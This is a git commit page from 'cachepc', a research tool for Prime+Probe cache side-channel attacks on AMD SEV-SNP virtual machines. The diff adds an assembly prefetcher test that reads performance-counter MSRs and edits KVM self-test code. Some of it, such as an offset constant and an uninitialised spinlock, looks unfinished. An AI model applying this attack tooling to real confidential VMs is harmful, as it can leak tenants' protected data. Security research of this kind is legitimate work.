cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

commit 0257ca8ac931775fffd74150b439eb9ddcc025aa
parent 3f43dd1778c7ac8c09c3dc5612ac902c3a7ad84d
Author: Louis Burda <quent.burda@gmail.com>
Date:   Thu, 19 Jan 2023 14:11:43 +0100

Stash asm version of hwpf test

Diffstat:
Acachepc/asm.S | 65+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mcachepc/cachepc.h | 3++-
Mcachepc/const.h | 12+++++++-----
Mcachepc/kvm.c | 26+++++++++++---------------
4 files changed, 85 insertions(+), 21 deletions(-)

diff --git a/cachepc/asm.S b/cachepc/asm.S @@ -0,0 +1,65 @@ +.global stream_hwpf_test + +stream_hwpf_test: + push %rbx + push %rcx + push %rdx + push %r10 + push %r11 + + wbinvd + + mfence + mov $0x80000005,%eax + cpuid + + mov $0, %rax + mov $0, %rdx + mov $0xc0010201,%rcx + rdmsr + shl $32, %rdx + or %rax, %rdx + + mov %rdx, %r10 + + mfence + mov $0x80000005,%eax + cpuid + + # mov 0x00(%rdi), %rax + # mov 0x48(%rdi), %rax + # mov 0x20(%rdi), %rax + # mov 0x38(%rdi), %rax + # mov 0x18(%rdi), %rax + # mov 0x48(%rdi), %rax + # mov 0x50(%rdi), %rax + # mov 0x58(%rdi), %rax + # mov 0x60(%rdi), %rax + + mfence + mov $0x80000005,%eax + cpuid + + mov $0, %rax + mov $0, %rdx + mov $0xc0010201,%rcx + rdmsr + shl $32, %rdx + or %rax, %rdx + + mov %rdx, %r11 + + mfence + mov $0x80000005,%eax + cpuid + + mov %r11, %rax + sub %r10, %rax + + pop %r11 + pop %r10 + pop %rdx + pop %rcx + pop %rbx + + ret diff --git a/cachepc/cachepc.h b/cachepc/cachepc.h @@ -81,7 +81,8 @@ struct cpc_fault { static_assert(sizeof(struct cacheline) == L1_LINESIZE, "Bad cache line struct size"); -static_assert(CL_NEXT_OFFSET == 0 && CL_PREV_OFFSET == 8); +static_assert(CPC_CL_NEXT_OFFSET == offsetof(struct cacheline, next)); +static_assert(CPC_CL_PREV_OFFSET == offsetof(struct cacheline, prev)); bool cachepc_verify_topology(void); diff --git a/cachepc/const.h b/cachepc/const.h @@ -1,10 +1,5 @@ #pragma once -#define CPC_ISOLCPU 2 - -#define CPC_L1MISS_PMC 0 -#define CPC_RETINST_PMC 1 - #define L1_ASSOC 8 #define L1_LINESIZE 64 #define L1_SETS 64 @@ -15,8 +10,15 @@ #define L2_SETS 1024 #define L2_SIZE (L2_SETS * L2_ASSOC * L2_LINESIZE) +#define CPC_ISOLCPU 2 + +#define CPC_L1MISS_PMC 0 +#define CPC_RETINST_PMC 1 + #define CPC_VMSA_MAGIC_ADDR ((void *) 0xC0FFEE) #define KVM_HC_CPC_VMMCALL_SIGNAL 0xEE01 #define KVM_HC_CPC_VMMCALL_EXIT 0xEE02 +#define CPC_CL_NEXT_OFFSET 0 +#define CPC_CL_PREV_OFFSET 0 diff --git a/cachepc/kvm.c b/cachepc/kvm.c @@ -141,7 +141,7 @@ cachepc_kvm_prime_probe_test(void) lines = cachepc_aligned_alloc(PAGE_SIZE, cachepc_ctx->cache_size); - // wbinvd(); + wbinvd(); for (n = 0; n < TEST_REPEAT_MAX; n++) { head = cachepc_prime(cachepc_ds); @@ -168,32 +168,25 @@ cachepc_kvm_prime_probe_test(void) kfree(lines); } +uint64_t stream_hwpf_test(void *lines); + void cachepc_kvm_stream_hwpf_test(void) { cacheline *lines; - const uint32_t max = 4; + const uint32_t max = 10; uint32_t count; int n; /* l2 data cache hit & miss */ cachepc_init_pmc(CPC_L1MISS_PMC, 0x64, 0xD8, PMC_HOST, PMC_KERNEL); - lines = cachepc_aligned_alloc(PAGE_SIZE, cachepc_ctx->cache_size); - - // wbinvd(); + lines = cachepc_aligned_alloc(L1_SIZE, L1_SIZE); count = 0; for (n = 0; n < TEST_REPEAT_MAX; n++) { - cachepc_prime(cachepc_ds); - - count -= cachepc_read_pmc(CPC_L1MISS_PMC); - asm volatile ("mov (%0), %%rbx" : : "r"(lines + 0) : "rbx"); - asm volatile ("mov (%0), %%rbx" : : "r"(lines + 1) : "rbx"); - asm volatile ("mov (%0), %%rbx" : : "r"(lines + 2) : "rbx"); - asm volatile ("mov (%0), %%rbx" : : "r"(lines + 3) : "rbx"); - count += cachepc_read_pmc(CPC_L1MISS_PMC); - + count = stream_hwpf_test(lines); + //count = cachepc_read_pmc(CPC_L1MISS_PMC); if (count != max) { CPC_ERR("HWPF %i. test failed (%u vs. %u)\n", n, count, max); @@ -227,7 +220,7 @@ cachepc_kvm_single_eviction_test(void *p) ptr = cachepc_prepare_victim(cachepc_ctx, target); - // wbinvd(); + wbinvd(); for (n = 0; n < TEST_REPEAT_MAX; n++) { head = cachepc_prime(cachepc_ds); @@ -703,6 +696,7 @@ cachepc_kvm_ioctl(struct file *file, unsigned int ioctl, unsigned long arg) void cachepc_kvm_setup_test(void *p) { + spinlock_t lock; int cpu; cpu = get_cpu(); @@ -717,9 +711,11 @@ cachepc_kvm_setup_test(void *p) cachepc_kvm_system_setup(); + spin_lock_irq(&lock); cachepc_kvm_prime_probe_test(); cachepc_kvm_stream_hwpf_test(); cachepc_kvm_single_eviction_test(NULL); + spin_unlock_irq(&lock); exit: put_cpu();